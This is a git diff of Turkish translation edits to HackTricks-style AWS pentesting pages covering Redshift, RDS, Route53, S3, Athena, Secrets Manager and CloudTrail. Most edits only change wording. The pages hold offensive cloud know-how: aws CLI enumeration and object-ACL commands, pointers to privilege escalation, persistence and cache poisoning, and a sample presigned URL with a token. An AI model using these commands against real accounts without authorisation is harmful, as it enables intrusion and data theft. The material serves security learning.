veya gruplara uygulanarak organizasyon içindeki yönetim ve kontrolü artırır. Ana Noktalar: - **Yeni Hesap Oluşturma**: AWS Organizations, ek ücretler olmadan yeni AWS hesapları oluşturulmasına olanak tanır. -- **Kaynak Tahsisi**: Hesaplar arasında kaynak tahsis etme sürecini basitleştirir. +- **Kaynak Tahsisi**: Hesaplar arasında kaynak tahsis sürecini basitleştirir. - **Hesap Gruplama**: Hesaplar bir araya getirilebilir, bu da yönetimi daha akıcı hale getirir. - **Yönetim Politikaları**: Politika, hesaplara veya hesap gruplarına uygulanabilir, bu da organizasyon genelinde uyum ve yönetimi sağlar. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index e5c3067be..2b7afe781 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,9 +4,9 @@ ## Amazon Redshift -Redshift, **büyük veri çözümleri için bir veri ambarı olarak** kullanılan, bir petabayttan fazla ölçeklenebilen tamamen yönetilen bir hizmettir. Redshift kümelerini kullanarak, veri setleriniz üzerinde hızlı, SQL tabanlı sorgu araçları ve iş zekası uygulamaları kullanarak analizler yapabilir ve işiniz için daha büyük bir anlayış elde edebilirsiniz. +Redshift, **büyük veri çözümleri için bir veri ambarı** olarak kullanılan, bir petabaytın üzerinde ölçeklenebilen tamamen yönetilen bir hizmettir. Redshift kümelerini kullanarak, veri setleriniz üzerinde hızlı, SQL tabanlı sorgu araçları ve iş zekası uygulamaları ile analizler yaparak işinizin vizyonunu daha iyi anlamak için çalışabilirsiniz. -**Redshift, KMS veya CloudHSM kullanarak anahtarların en üst katmanını yönetmek için dört katmanlı bir şifreleme anahtarı hiyerarşisi kullanarak dinlenme sırasında şifreleme sunar**. **Kümeniz için şifreleme etkinleştirildiğinde, devre dışı bırakılamaz ve tersine**. Şifrelenmemiş bir kümeniz olduğunda, şifrelenemez. +**Redshift, KMS veya CloudHSM kullanarak anahtarların en üst katmanını yönetmek için dört katmanlı bir şifreleme anahtarı hiyerarşisi kullanarak dinlenme sırasında şifreleme sunar**. **Kümeniz için şifreleme etkinleştirildiğinde, devre dışı bırakılamaz ve tersi de geçerlidir**. Şifrelenmemiş bir kümeniz olduğunda, şifrelenemez. Kümeniz için şifreleme yalnızca oluşturulması sırasında gerçekleşebilir ve bir kez şifrelendiğinde, veri, meta veri ve herhangi bir anlık görüntü de şifrelenir. Şifreleme anahtarlarının katmanlama seviyesi şu şekildedir: **birinci katman anahtar, ikinci katman küme şifreleme anahtarı, CEK, üçüncü katman veritabanı şifreleme anahtarı, DEK ve son olarak dördüncü katman, veri şifreleme anahtarlarıdır**. @@ -16,23 +16,23 @@ Kümenizi oluştururken, Redshift için **varsayılan KMS anahtarını** seçebi Redshift için varsayılan KMS anahtarı, anahtar seçeneği ilk kez seçildiğinde ve kullanıldığında Redshift tarafından otomatik olarak oluşturulur ve AWS tarafından tamamen yönetilir. -Bu KMS anahtarı daha sonra CMK anahtarının, birinci katman, ile şifrelenir. Bu şifrelenmiş KMS veri anahtarı daha sonra küme şifreleme anahtarı, CEK, ikinci katman olarak kullanılır. Bu CEK daha sonra KMS tarafından Redshift'e gönderilir ve burada kümeden ayrı olarak saklanır. Redshift daha sonra bu şifrelenmiş CEK'yi güvenli bir kanal üzerinden kümeye gönderir ve burada bellekte saklanır. +Bu KMS anahtarı daha sonra CMK anahtarının birinci katmanıyla şifrelenir. Bu şifrelenmiş KMS veri anahtarı daha sonra küme şifreleme anahtarı, CEK, ikinci katman olarak kullanılır. Bu CEK, KMS tarafından Redshift'e gönderilir ve burada kümeden ayrı olarak saklanır. Redshift daha sonra bu şifrelenmiş CEK'yi güvenli bir kanal üzerinden kümeye gönderir ve burada bellekte saklanır. -Redshift daha sonra KMS'ten CEK'yi, ikinci katman, şifre çözmesini ister. Bu şifrelenmiş CEK daha sonra bellekte de saklanır. Redshift daha sonra rastgele bir veritabanı şifreleme anahtarı, DEK, üçüncü katman oluşturur ve bunu kümenin belleğine yükler. Bellekteki şifrelenmemiş CEK, DEK'yi şifreler ve bu da bellekte saklanır. +Redshift daha sonra KMS'ten CEK'yi, ikinci katmanı, şifre çözmesini talep eder. Bu şifrelenmiş CEK daha sonra bellekte de saklanır. Redshift daha sonra rastgele bir veritabanı şifreleme anahtarı, DEK, üçüncü katman oluşturur ve bunu kümenin belleğine yükler. Bellekteki şifrelenmiş CEK, DEK'yi şifreler ve bu da bellekte saklanır. -Bu şifrelenmiş DEK daha sonra güvenli bir kanal üzerinden gönderilir ve Redshift'te kümeden ayrı olarak saklanır. Hem CEK hem de DEK artık hem şifrelenmiş hem de şifrelenmemiş formda kümenin belleğinde saklanmaktadır. Şifrelenmemiş DEK daha sonra Redshift tarafından veritabanındaki her veri bloğu için rastgele üretilen veri anahtarlarını şifrelemek için kullanılır. +Bu şifrelenmiş DEK daha sonra güvenli bir kanal üzerinden gönderilir ve Redshift'te kümeden ayrı olarak saklanır. Hem CEK hem de DEK artık kümenin belleğinde hem şifreli hem de şifresiz formda saklanmaktadır. Şifresiz DEK daha sonra Redshift tarafından veritabanındaki her veri bloğu için rastgele üretilen veri anahtarlarını, dördüncü katman, şifrelemek için kullanılır. -Amazon S3 kovalarınızın yapılandırmasını izlemek ve kova günlüğü kaydının etkin olduğundan emin olmak için AWS Trusted Advisor'ı kullanabilirsiniz; bu, güvenlik denetimleri gerçekleştirmek ve S3'teki kullanım desenlerini izlemek için yararlı olabilir. +Amazon S3 kovalarınızın yapılandırmasını izlemek ve kova günlüğünün etkin olduğundan emin olmak için AWS Trusted Advisor'ı kullanabilirsiniz; bu, güvenlik denetimleri gerçekleştirmek ve S3'teki kullanım desenlerini izlemek için yararlı olabilir. ### CloudHSM
-CloudHSM ile Redshift Kullanma +CloudHSM ile Redshift Kullanımı -CloudHSM ile şifreleme gerçekleştirmek için çalışırken, öncelikle HSM istemciniz ile Redshift arasında güvenilir bir bağlantı kurmalısınız ve istemci ve sunucu sertifikalarını kullanmalısınız. +CloudHSM ile şifreleme gerçekleştirmek için öncelikle HSM istemciniz ile Redshift arasında güvenilir bir bağlantı kurmalısınız ve bu sırada istemci ve sunucu sertifikalarını kullanmalısınız. -Bu bağlantı, HSM istemciniz ile Redshift kümeleriniz arasında şifreleme anahtarlarının gönderilmesine olanak tanıyan güvenli iletişim sağlamak için gereklidir. Rastgele üretilen bir özel ve genel anahtar çifti kullanarak, Redshift bir genel istemci sertifikası oluşturur; bu sertifika şifrelenir ve Redshift tarafından saklanır. Bu, indirilip HSM istemcinize kaydedilmeli ve doğru HSM bölümüne atanmalıdır. +Bu bağlantı, HSM istemciniz ile Redshift kümeleriniz arasında şifreleme anahtarlarının gönderilmesine olanak tanıyarak güvenli iletişim sağlamak için gereklidir. Rastgele üretilen bir özel ve genel anahtar çifti kullanarak, Redshift bir genel istemci sertifikası oluşturur; bu sertifika şifrelenir ve Redshift tarafından saklanır. Bu, indirilip HSM istemcinize kaydedilmeli ve doğru HSM bölümüne atanmalıdır. Daha sonra Redshift'i HSM istemcinizin aşağıdaki bilgileri ile yapılandırmalısınız: HSM IP adresi, HSM bölüm adı, HSM bölüm şifresi ve CloudHSM tarafından iç anahtar kullanılarak şifrelenmiş genel HSM sunucu sertifikası. Bu bilgiler sağlandığında, Redshift bağlantı kurabileceğini ve geliştirme bölümüne erişebileceğini onaylayacak ve doğrulayacaktır. @@ -89,7 +89,7 @@ psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U adm ## Süreklilik -Aşağıdaki eylemler, kümeye diğer AWS hesaplarına erişim verme imkanı sağlar: +Aşağıdaki eylemler, kümeye diğer AWS hesaplarına erişim izni vermeyi sağlar: - [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html) - [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index ef19e41bb..5b021bfc8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -20,7 +20,7 @@ RDS'nin ana özellikleri şunlardır: ## Kimlik Bilgileri -DB kümesi oluşturulurken ana **kullanıcı adı** yapılandırılabilir (**varsayılan olarak `admin`**). Bu kullanıcının şifresini oluşturmak için şunları yapabilirsiniz: +DB kümesi oluşturulurken ana **kullanıcı adı** yapılandırılabilir (**varsayılan olarak `admin`**). Bu kullanıcının şifresini oluşturmak için: - **Kendiniz bir şifre belirtin** - RDS'ye **otomatik olarak oluşturmasını** söyleyin @@ -44,9 +44,9 @@ Ayrıca, **veritabanı portu da değiştirilebilir**. ### Şifreleme -**Şifreleme varsayılan olarak etkindir** ve AWS yönetilen bir anahtar kullanır (bir CMK yerine seçilebilir). +**Şifreleme varsayılan olarak etkindir** ve AWS yönetilen bir anahtar kullanır (bir CMK seçilebilir). -Şifrelemenizi etkinleştirerek, **depolamanız, anlık görüntüleriniz, okuma kopyalarınız ve yedekleriniz için dinlenme sırasında şifrelemeyi** etkinleştiriyorsunuz. Bu şifrelemeyi yönetmek için anahtarlar **KMS** kullanılarak verilebilir.\ +Şifrelemenizi etkinleştirerek, **depolama, anlık görüntüler, okuma kopyaları ve yedekleriniz için dinlenme sırasında şifrelemeyi** etkinleştiriyorsunuz. Bu şifrelemeyi yönetmek için anahtarlar **KMS** kullanılarak verilebilir.\ Veritabanınız oluşturulduktan sonra bu düzeyde bir şifreleme eklemek mümkün değildir. **Bu, oluşturulması sırasında yapılmalıdır**. Ancak, **şifrelenmemiş bir veritabanını şifrelemek için bir geçici çözüm** vardır. Şifrelenmemiş veritabanınızın bir anlık görüntüsünü oluşturabilir, o anlık görüntünün şifrelenmiş bir kopyasını oluşturabilir, bu şifrelenmiş anlık görüntüyü yeni bir veritabanı oluşturmak için kullanabilir ve sonunda veritabanınız şifrelenmiş olur. @@ -58,11 +58,11 @@ RDS'nin uygulama düzeyindeki şifreleme yeteneklerine ek olarak, RDS ayrıca di TDE'yi kullanmak için belirli ön adımlar gereklidir: 1. **Seçenek Grubu İlişkilendirmesi**: -- Veritabanı bir seçenek grubuna ilişkilendirilmelidir. Seçenek grupları, ayarların ve özelliklerin kapsayıcıları olarak işlev görerek güvenlik iyileştirmeleri de dahil olmak üzere veritabanı yönetimini kolaylaştırır. +- Veritabanı bir seçenek grubuna ilişkilendirilmelidir. Seçenek grupları, ayarları ve özellikleri içeren konteynerler olarak hizmet eder ve güvenlik iyileştirmeleri de dahil olmak üzere veritabanı yönetimini kolaylaştırır. - Ancak, seçenek gruplarının yalnızca belirli veritabanı motorları ve sürümleri için mevcut olduğunu belirtmek önemlidir. 2. **Seçenek Grubunda TDE'nin Dahil Edilmesi**: - Bir seçenek grubuna ilişkilendirildikten sonra, Oracle Şeffaf Veri Şifrelemesi seçeneği o gruba dahil edilmelidir. -- TDE seçeneği bir seçenek grubuna eklendikten sonra, kalıcı bir parça haline geldiğini ve çıkarılamayacağını kabul etmek önemlidir. +- TDE seçeneği bir seçenek grubuna eklendikten sonra, kalıcı bir parça haline geldiğini ve çıkarılamayacağını anlamak önemlidir. 3. **TDE Şifreleme Modları**: - TDE, iki farklı şifreleme modu sunar: - **TDE Tablosu Alanı Şifrelemesi**: Bu mod, tüm tabloları şifreler ve daha geniş bir veri koruma kapsamı sağlar. @@ -131,7 +131,7 @@ aws rds modify-db-instance --db-instance-identifier --master-user-password ### SQL Enjeksiyonu -DynamoDB verilerine **SQL sözdizimi** ile erişim sağlama yolları vardır, bu nedenle, tipik **SQL enjeksiyonları da mümkündür**. +DynamoDB verilerine **SQL sözdizimi** ile erişim yolları vardır, bu nedenle tipik **SQL enjeksiyonları da mümkündür**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index 31cf5ca1c..b045e9ab2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -4,7 +4,7 @@ ## Route 53 -Amazon Route 53, bir bulut **Alan Adı Sistemi (DNS)** web hizmetidir.\ +Amazon Route 53, bir bulut **Domain Name System (DNS)** web hizmetidir.\ Route53 aracılığıyla https, http ve tcp **web sayfaları için sağlık kontrolleri** oluşturabilirsiniz. ### IP tabanlı yönlendirme diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index c7380bba1..0380d38e4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -18,7 +18,7 @@ Ayrıca, MFA tabanlı silme, S3 kovasındaki dosya sürümlerinin silinmesini ve ### S3 Erişim günlükleri -Bir kovaya **S3 erişim kaydını etkinleştirmek** (varsayılan olarak devre dışıdır) ve günlükleri farklı bir kovada saklamak mümkündür, böylece kovanın kimler tarafından erişildiğini bilebilirsiniz (her iki kova da aynı bölgede olmalıdır). +Bir kovaya **S3 erişim kaydını** (varsayılan olarak devre dışı) etkinleştirmek ve günlükleri farklı bir kovada saklamak mümkündür, böylece kovanın kimler tarafından erişildiğini bilebilirsiniz (her iki kova da aynı bölgede olmalıdır). ### S3 Önceden İmzalı URL'ler @@ -26,7 +26,7 @@ Kovadaki **belirtilen dosyaya erişmek için** genellikle kullanılabilecek bir ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` -A presigned URL **bir nesneye erişimi olan bir yetkilinin kimlik bilgileri kullanılarak cli'dan oluşturulabilir** (kullandığınız hesap erişime sahip değilse, daha kısa bir presigned URL oluşturulacak ancak bu işe yaramayacaktır) +Önceden imzalanmış bir URL, **nesneye erişimi olan bir yetkilinin kimlik bilgileri kullanılarak cli üzerinden oluşturulabilir** (kullandığınız hesap erişime sahip değilse, daha kısa bir önceden imzalanmış URL oluşturulacak ancak bu işe yaramayacaktır) ```bash aws s3 presign --region 's3:///' ``` @@ -48,7 +48,7 @@ ExpiresIn=3600
-S3 yönetilen anahtarlarla sunucu tarafı şifreleme, SSE-S3 +Sunucu tarafı şifreleme, S3 yönetilen anahtarları ile, SSE-S3 Bu seçenek, minimum yapılandırma gerektirir ve kullanılan şifreleme anahtarlarının tüm yönetimi AWS tarafından yapılır. Tek yapmanız gereken **verilerinizi yüklemek ve S3 diğer tüm yönleriyle ilgilenecektir**. Bir S3 hesabındaki her bir kovaya bir kova anahtarı atanır. @@ -65,14 +65,14 @@ Lütfen, bu durumda **anahtarın AWS tarafından yönetildiğini** unutmayın (s
-KMS yönetilen anahtarlarla sunucu tarafı şifreleme, SSE-KMS +Sunucu tarafı şifreleme, KMS yönetilen anahtarları ile, SSE-KMS Bu yöntem, S3'ün veri şifreleme anahtarlarınızı oluşturmak için anahtar yönetim hizmetini kullanmasına olanak tanır. KMS, anahtarlarınızın nasıl yönetileceği konusunda çok daha fazla esneklik sağlar. Örneğin, CMK'yı devre dışı bırakabilir, döndürebilir ve erişim kontrolleri uygulayabilirsiniz ve bunların kullanımına karşı AWS Cloud Trail kullanarak sipariş verebilirsiniz. - Şifreleme: - S3, KMS CMK'dan veri anahtarları talep eder - KMS, düz metin DEK ve şifrelenmiş DEK çiftini oluşturmak için bir CMK kullanır ve bunları S3'e gönderir -- S3, düz metin anahtarı kullanarak verileri şifreler, şifrelenmiş veriyi ve şifrelenmiş anahtarı saklar ve düz metin anahtarı bellekte siler +- S3, verileri şifrelemek için düz metin anahtarını kullanır, şifrelenmiş veriyi ve şifrelenmiş anahtarı saklar ve düz metin anahtarını bellekten siler - Şifre çözme: - S3, nesnenin şifrelenmiş veri anahtarını KMS'ten çözmesini ister - KMS, veri anahtarını CMK ile çözer ve S3'e geri gönderir @@ -82,9 +82,9 @@ Bu yöntem, S3'ün veri şifreleme anahtarlarınızı oluşturmak için anahtar
-Müşteri sağlanan anahtarlarla sunucu tarafı şifreleme, SSE-C +Sunucu tarafı şifreleme, müşteri tarafından sağlanan anahtarlar ile, SSE-C -Bu seçenek, AWS dışında zaten kullanıyor olabileceğiniz kendi anahtarınızı sağlamanıza olanak tanır. Müşteri sağlanan anahtarınız, verilerinizle birlikte S3'e gönderilir ve burada S3 sizin için şifreleme işlemini gerçekleştirir. +Bu seçenek, AWS dışında zaten kullanıyor olabileceğiniz kendi anahtarınızı sağlamanıza olanak tanır. Müşteri tarafından sağlanan anahtar, verilerinizle birlikte S3'e gönderilir ve burada S3 sizin için şifreleme işlemini gerçekleştirir. - Şifreleme: - Kullanıcı, nesne verisini + Müşteri anahtarını S3'e gönderir @@ -94,21 +94,21 @@ Bu seçenek, AWS dışında zaten kullanıyor olabileceğiniz kendi anahtarını - Şifre çözme: - Kullanıcı müşteri anahtarını gönderir - Anahtar, saklanan HMAC değeri ile doğrulanır -- Müşteri sağlanan anahtar, verileri çözmek için kullanılır +- Müşteri tarafından sağlanan anahtar, verileri çözmek için kullanılır
-KMS ile istemci tarafı şifreleme, CSE-KMS +İstemci tarafı şifreleme, KMS ile, CSE-KMS -SSE-KMS'ye benzer şekilde, bu da veri şifreleme anahtarlarınızı oluşturmak için anahtar yönetim hizmetini kullanır. Ancak, bu sefer KMS, S3 değil, istemci aracılığıyla çağrılır. Şifreleme istemci tarafında gerçekleşir ve şifrelenmiş veri daha sonra saklanmak üzere S3'e gönderilir. +SSE-KMS'ye benzer şekilde, bu da veri şifreleme anahtarlarınızı oluşturmak için anahtar yönetim hizmetini kullanır. Ancak, bu sefer KMS, S3 değil, istemci aracılığıyla çağrılır. Şifreleme, istemci tarafında gerçekleşir ve şifrelenmiş veri daha sonra saklanmak üzere S3'e gönderilir. - Şifreleme: - İstemci, KMS'ten bir veri anahtarı talep eder -- KMS, düz metin DEK ve CMK ile şifrelenmiş DEK'i döner -- Her iki anahtar geri gönderilir -- İstemci, düz metin DEK ile verileri şifreler ve şifrelenmiş veriyi + şifrelenmiş DEK'i (S3 içindeki şifrelenmiş verinin meta verisi olarak saklanır) S3'e gönderir +- KMS, düz metin DEK ve CMK ile şifrelenmiş DEK'i geri gönderir +- Her iki anahtar da geri gönderilir +- İstemci, verileri düz metin DEK ile şifreler ve şifrelenmiş veriyi + şifrelenmiş DEK'i S3'e gönderir (bu, S3 içindeki şifrelenmiş verinin meta verisi olarak saklanır) - Şifre çözme: - Şifrelenmiş veri ve şifrelenmiş DEK istemciye gönderilir - İstemci, CMK kullanarak şifrelenmiş anahtarı çözmek için KMS'e başvurur ve KMS düz metin DEK'i geri gönderir @@ -118,9 +118,9 @@ SSE-KMS'ye benzer şekilde, bu da veri şifreleme anahtarlarınızı oluşturmak
-Müşteri sağlanan anahtarlarla istemci tarafı şifreleme, CSE-C +İstemci tarafı şifreleme, müşteri tarafından sağlanan anahtarlar ile, CSE-C -Bu mekanizmayı kullanarak, kendi sağladığınız anahtarları kullanabilir ve verilerinizi S3'e göndermeden önce şifrelemek için bir AWS-SDK istemcisi kullanabilirsiniz. +Bu mekanizmayı kullanarak, sağladığınız anahtarları kullanabilir ve verilerinizi S3'e depolamak üzere göndermeden önce şifrelemek için bir AWS-SDK istemcisi kullanabilirsiniz. - Şifreleme: - İstemci bir DEK oluşturur ve düz metin verileri şifreler @@ -134,7 +134,7 @@ Bu mekanizmayı kullanarak, kendi sağladığınız anahtarları kullanabilir ve ### **Numaralandırma** -AWS organizasyonlarını tehlikeye atmanın geleneksel ana yollarından biri, kamuya açık erişilebilir kovaları tehlikeye atmaktır. **[**Bu sayfada kamuya açık kova numaralandırıcıları bulabilirsiniz**](../aws-unauthenticated-enum-access/#s3-buckets)**.** +AWS organizasyonlarını tehlikeye atmanın geleneksel ana yollarından biri, kamuya açık erişilebilir kovaları tehlikeye atmaktır. **Bulabilirsiniz** [**açık kovaları numaralandırıcılar bu sayfada**](../aws-unauthenticated-enum-access/#s3-buckets)**.** ```bash # Get buckets ACLs aws s3api get-bucket-acl --bucket @@ -229,9 +229,9 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### dual-stack -Bir S3 bucket'ına, sanal barındırma tarzı veya yol tarzı bir uç nokta adı kullanarak çift yığın uç noktası aracılığıyla erişebilirsiniz. Bunlar, S3'e IPv6 üzerinden erişmek için faydalıdır. +Bir S3 bucket'ına, sanal barındırma tarzı veya yol tarzı bir uç nokta adı kullanarak dual-stack uç noktası aracılığıyla erişebilirsiniz. Bu, S3'e IPv6 üzerinden erişmek için faydalıdır. -Çift yığın uç noktaları aşağıdaki sözdizimini kullanır: +Dual-stack uç noktaları aşağıdaki sözdizimini kullanır: - `bucketname.s3.dualstack.aws-region.amazonaws.com` - `s3.dualstack.aws-region.amazonaws.com/bucketname` @@ -244,39 +244,39 @@ Aşağıdaki sayfada **S3 izinlerini kötüye kullanarak ayrıcalıkları artır ../aws-privilege-escalation/aws-s3-privesc.md {{#endref}} -### Kimlik Doğrulaması Olmayan Erişim +### Unauthenticated Access {{#ref}} ../aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md {{#endref}} -### S3 Sonrası İstismar +### S3 Post Exploitation {{#ref}} ../aws-post-exploitation/aws-s3-post-exploitation.md {{#endref}} -### Süreklilik +### Persistence {{#ref}} ../aws-persistence/aws-s3-persistence.md {{#endref}} -## Diğer S3 zafiyetleri +## Other S3 vulns -### S3 HTTP Önbellek Zehirlenmesi Sorunu +### S3 HTTP Cache Poisoning Issue -[**Bu araştırmaya göre**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) rastgele bir bucket'ın yanıtını, farklı birine aitmiş gibi önbelleğe almak mümkündü. Bu, örneğin javascript dosyası yanıtlarını değiştirmek ve S3'ü statik kod depolamak için kullanan rastgele sayfaları tehlikeye atmak için kötüye kullanılabilirdi. +[**Bu araştırmaya göre**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue), rastgele bir bucket'ın yanıtını, farklı birine aitmiş gibi önbelleğe almak mümkündü. Bu, örneğin javascript dosyası yanıtlarını değiştirmek ve S3'ü statik kod depolamak için kullanarak rastgele sayfaları tehlikeye atmak için kötüye kullanılabilirdi. ## Amazon Athena -Amazon Athena, verileri doğrudan Amazon Basit Depolama Servisi (Amazon **S3**) **kullanarak** standart **SQL** ile **analiz etmeyi** kolaylaştıran etkileşimli bir sorgu hizmetidir. +Amazon Athena, verileri doğrudan Amazon Simple Storage Service (Amazon **S3**) **kullanarak** standart **SQL** ile **analiz etmeyi** kolaylaştıran etkileşimli bir sorgu hizmetidir. Gözetlenen S3 bucket'larında görünecek içeriğin formatında bir **ilişkisel DB tablosu** **hazırlamanız** gerekir. Ardından, Amazon Athena, günlüklerden DB'yi doldurabilecektir, böylece sorgulayabilirsiniz. -Amazon Athena, **zaten şifrelenmiş S3 verilerini sorgulama yeteneğini** destekler ve böyle yapılandırıldığında, **Athena ayrıca sorgu sonuçlarını şifreleyebilir ve bunlar daha sonra S3'te saklanabilir**. +Amazon Athena, **zaten şifrelenmiş S3 verilerini sorgulama yeteneğini** destekler ve böyle yapılandırıldığında, **Athena ayrıca sorgu sonuçlarını şifreleyebilir ve bunlar daha sonra S3'te depolanabilir**. -**Bu sonuçların şifrelenmesi, sorgulanan S3 verilerinin altında yatan şifrelemeden bağımsızdır**, yani S3 verileri şifrelenmemiş olsa bile, sorgulanan sonuçlar şifrelenebilir. Bilinmesi gereken birkaç nokta, Amazon Athena'nın yalnızca **aşağıdaki S3 şifreleme yöntemleriyle şifrelenmiş** verileri desteklediğidir: **SSE-S3, SSE-KMS ve CSE-KMS**. +**Bu sonuçların şifrelenmesi, sorgulanan S3 verilerinin altında yatan şifrelemeden bağımsızdır**, yani S3 verileri şifrelenmemiş olsa bile, sorgulanan sonuçlar şifrelenebilir. Dikkat edilmesi gereken birkaç nokta, Amazon Athena'nın yalnızca **aşağıdaki S3 şifreleme yöntemleriyle** **şifrelenmiş** verileri desteklediğidir: **SSE-S3, SSE-KMS ve CSE-KMS**. SSE-C ve CSE-E desteklenmemektedir. Bunun yanı sıra, Amazon Athena'nın yalnızca **sorgunun kendisiyle aynı bölgede bulunan şifrelenmiş nesneler üzerinde sorgu çalıştıracağını** anlamak önemlidir. KMS kullanılarak şifrelenmiş S3 verilerini sorgulamanız gerekiyorsa, Athena kullanıcısının sorguyu gerçekleştirebilmesi için belirli izinlere sahip olması gerekir. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index 0a6676f69..f52b322d8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -4,9 +4,9 @@ ## AWS Secrets Manager -AWS Secrets Manager, **uygulamalardaki sabit kodlanmış gizli bilgilerin kullanımını ortadan kaldırmak için bir API çağrısıyla bunların yerini alacak şekilde tasarlanmıştır**. Bu hizmet, **tüm gizli bilgilerin merkezi bir deposu** olarak hizmet verir ve bunların tüm uygulamalar arasında tutarlı bir şekilde yönetilmesini sağlar. +AWS Secrets Manager, **uygulamalardaki sabit kodlanmış gizli bilgilerin kullanımını ortadan kaldırmak için bir API çağrısıyla bunları değiştirmek üzere tasarlanmıştır**. Bu hizmet, **tüm gizli bilgilerinizi merkezi bir depo olarak hizmet eder**, bunların tüm uygulamalar arasında tutarlı bir şekilde yönetilmesini sağlar. -Yönetici, **gizli bilgilerin döndürülmesi sürecini** basitleştirir ve veritabanı kimlik bilgileri gibi hassas verilerin güvenlik duruşunu önemli ölçüde iyileştirir. Ayrıca, API anahtarları gibi gizli bilgiler, lambda fonksiyonlarının entegrasyonu ile otomatik olarak döndürülebilir. +Yönetici, **gizli bilgilerin döndürülmesi sürecini basitleştirir**, veritabanı kimlik bilgileri gibi hassas verilerin güvenlik duruşunu önemli ölçüde iyileştirir. Ayrıca, API anahtarları gibi gizli bilgiler, lambda fonksiyonlarının entegrasyonu ile otomatik olarak döndürülebilir. Gizli bilgilere erişim, ayrıntılı IAM kimlik tabanlı politikalar ve kaynak tabanlı politikalar aracılığıyla sıkı bir şekilde kontrol edilir. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index bb38a16b1..2d832fdb8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,7 +4,7 @@ ## **CloudTrail** -AWS CloudTrail **AWS ortamınızdaki etkinlikleri kaydeder ve izler**. Tüm AWS kaynaklarıyla etkileşimler için kimin ne yaptığını, ne zaman ve nereden olduğunu içeren ayrıntılı **olay günlüklerini** yakalar. Bu, değişikliklerin ve eylemlerin bir denetim izini sağlar, güvenlik analizi, uyum denetimi ve 